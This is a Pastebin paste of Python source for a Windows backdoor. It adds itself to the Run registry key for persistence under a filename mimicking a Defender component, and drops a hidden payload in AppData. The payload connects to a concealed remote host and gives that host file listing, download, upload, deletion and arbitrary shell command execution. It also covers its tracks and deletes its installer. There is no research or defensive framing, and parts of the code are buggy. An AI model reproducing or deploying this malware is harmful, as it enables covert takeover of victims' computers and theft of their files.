Advertisement
Guest User

Untitled

a guest
Oct 14th, 2019
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.09 KB | None | 0 0
  1. import winreg as reg
  2. import os
  3. import getpass
  4. import subprocess
  5. import time
  6.  
  7. exex = os.path.dirname(os.path.realpath(__file__))
  8. exex = exex + "/"
  9. username = getpass.getuser()
  10.  
  11. def AddToRegistry():
  12. address=r"C:\Users\{}\AppData\Roaming\python".format(username)
  13.  
  14. key = "HKEY_CURRENT_USER"
  15. key_value = r"Software\Microsoft\Windows\CurrentVersion\Run"
  16.  
  17. open = reg.OpenKey(key,key_value,0,reg.KEY_ALL_ACCESS)
  18.  
  19. reg.SetValueEx(open,"MpOEV.pyw",0,reg.REG_SZ,address)
  20.  
  21. reg.CloseKey(open)
  22.  
  23.  
  24.  
  25. creator = open("C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username), "w")
  26. creator.write("""
  27. import os
  28. import socket
  29. import time
  30. import getpass
  31. import sys
  32. import subprocess
  33. import traceback
  34.  
  35. s = socket.socket()
  36. port = 4231
  37. host = "{}"
  38.  
  39.  
  40. def connect():
  41. while True:
  42. try:
  43. s.connect((host,port))
  44. break
  45. except ConnectionError:
  46. time.sleep(5)
  47. connect()
  48. except OSError:
  49. time.sleep(5)
  50. connect()
  51. except socket.timeout():
  52. time.sleep(5)
  53. connect()
  54.  
  55. connect()
  56.  
  57.  
  58.  
  59. while 1:
  60. command = s.recv(1024)
  61. command = command.decode()
  62. if command == "cwd":
  63. files = os.getcwd()
  64. files = str(files)
  65. s.send(files.encode())
  66.  
  67. elif command == "cd":
  68. file_path = s.recv(5000)
  69. file_path = file_path.decode()
  70. files = os.listdir(file_path)
  71. files = str(files)
  72. s.send(files.encode())
  73.  
  74. elif command == "download":
  75. file_path = s.recv(5000)
  76. file_path = file_path.decode()
  77. file = open(file_path, "rb")
  78. data = file.read()
  79. file.close
  80. s.send(data)
  81.  
  82. elif command == "delete":
  83. file_path = s.recv(5000)
  84. file_path = file_path.decode()
  85. os.remove(file_path)
  86. s.send("File deleted".decode())
  87.  
  88. elif command == "upload":
  89. data = s.recv(100000)
  90. filename = s.recv(2048)
  91. file = open(file, "rb")
  92. file.write(data)
  93. file.close
  94. s.send("File successfully uploaded".encode())
  95.  
  96.  
  97. elif command == "removetraces":
  98.  
  99. os.remove("C:/Users/{}/AppData/Roaming/python/MpOEV.pyw".format(getpass.getuser()))
  100. sys.exit()
  101.  
  102. elif command == "connecter":
  103. time.sleep(5)
  104. connect()
  105.  
  106. elif command == "shutdown":
  107. time.sleep(5)
  108. sys.exit()
  109.  
  110. elif command == "cmd":
  111. cmd = s.recv(5000)
  112. cmd = cmd.encode()
  113. try:
  114. proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  115. out, err = proc.communicate()
  116. output = (out + err)
  117. s.send(output.encode())
  118. except Exception as exc:
  119. s.send(traceback.format_exc().encode())
  120.  
  121.  
  122. else:
  123. pass
  124. """.format("wont leak my ip xD","{}"))
  125. creator.close
  126.  
  127. creator1423 = open("C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username), "r")
  128. klasdfnoölasdf = creator1423.readline(2)
  129. creator1423.close
  130. time.sleep(2)
  131.  
  132. if __name__=="__main__":
  133. AddToRegistry()
  134.  
  135.  
  136. subprocess.Popen(["python", "-OO","-m", "py_compile", "C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username)])
  137.  
  138. renamer = open("C:/Users/{}/AppData/Roaming/python/f_uilo_tmp.pyw".format(username), "w")
  139. renamer.write("""import os
  140. import time
  141. import getpass
  142. import subprocess
  143. time.sleep(5)
  144. username = getpass.getuser()
  145. os.rename("C:/Users/{}/AppData/Roaming/Python/__pycache__/MpOEV_tmp.cpython-37.opt-2.pyc".format(username), "C:/Users/{}/AppData/Roaming/Python/MpOEV.pyw".format(username))
  146. os.remove("C:/Users/{}/AppData/Roaming/Python/MpOEV_tmp.pyw".format(username))
  147. time.sleep(3)
  148. subprocess.Popen(["pythonw", "C:/Users/{}/AppData/Roaming/Python/MpOEV.pyw".format(username)], stdout=subprocess.PIPE)
  149. time.sleep(2)
  150. os.remove("{}")""".format("{}","{}","{}","{}",exex))
  151. renamer.close
  152. subprocess.Popen(["pythonw", "C:/Users/{}/AppData/Roaming/python/f_uilo_tmp.pyw".format(username)], stdout=subprocess.PIPE)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement